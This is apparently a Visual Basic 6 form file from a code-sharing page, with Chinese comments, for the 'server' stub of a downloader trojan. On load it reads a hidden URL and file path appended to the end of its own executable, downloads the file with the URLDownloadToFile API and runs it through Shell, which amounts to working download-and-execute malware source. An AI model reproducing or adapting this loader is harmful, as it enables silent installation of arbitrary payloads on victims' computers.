📄 form1.frm
字号:
VERSION 5.00
Begin VB.Form Form1
Caption = "服务端"
ClientHeight = 1860
ClientLeft = 60
ClientTop = 450
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 1860
ScaleWidth = 4680
StartUpPosition = 2 '屏幕中心
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Const FILE_SIZE = 20480 '这是服务端的大小怎么知道服务端的大小?我用了个笨方法等下大家就知道了
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long '这个是个API函数功能就是下载文件用的
Private Sub Form_Load()
Dim lngRetVal As Long
Dim bAppend As Byte, lNum As Long
Dim i As Long, sInfo As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Seek #1, FILE_SIZE + 1 '将读取指针定位到文件末我们把信息写到尾部了所以要从尾部读
For lNum = 1 To FileLen(App.Path & "\" & App.EXEName & ".exe") - FILE_SIZE
Get #1, , bAppend
sInfo = sInfo + Chr(bAppend) '这个就是读出来的信息地址和路径
Next lNum
Close #1
URL = Left(sInfo, InStr(sInfo, "#") - 1) '分离出地址
Path = Right(sInfo, Len(sInfo) - InStr(sInfo, "#")) '分离出了路径
lngRetVal = URLDownloadToFile(0, URL, Path, 0, 0) '下载文件到指定路径
If lngRetVal = 0 Then
Shell Path '执行文件
End If
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -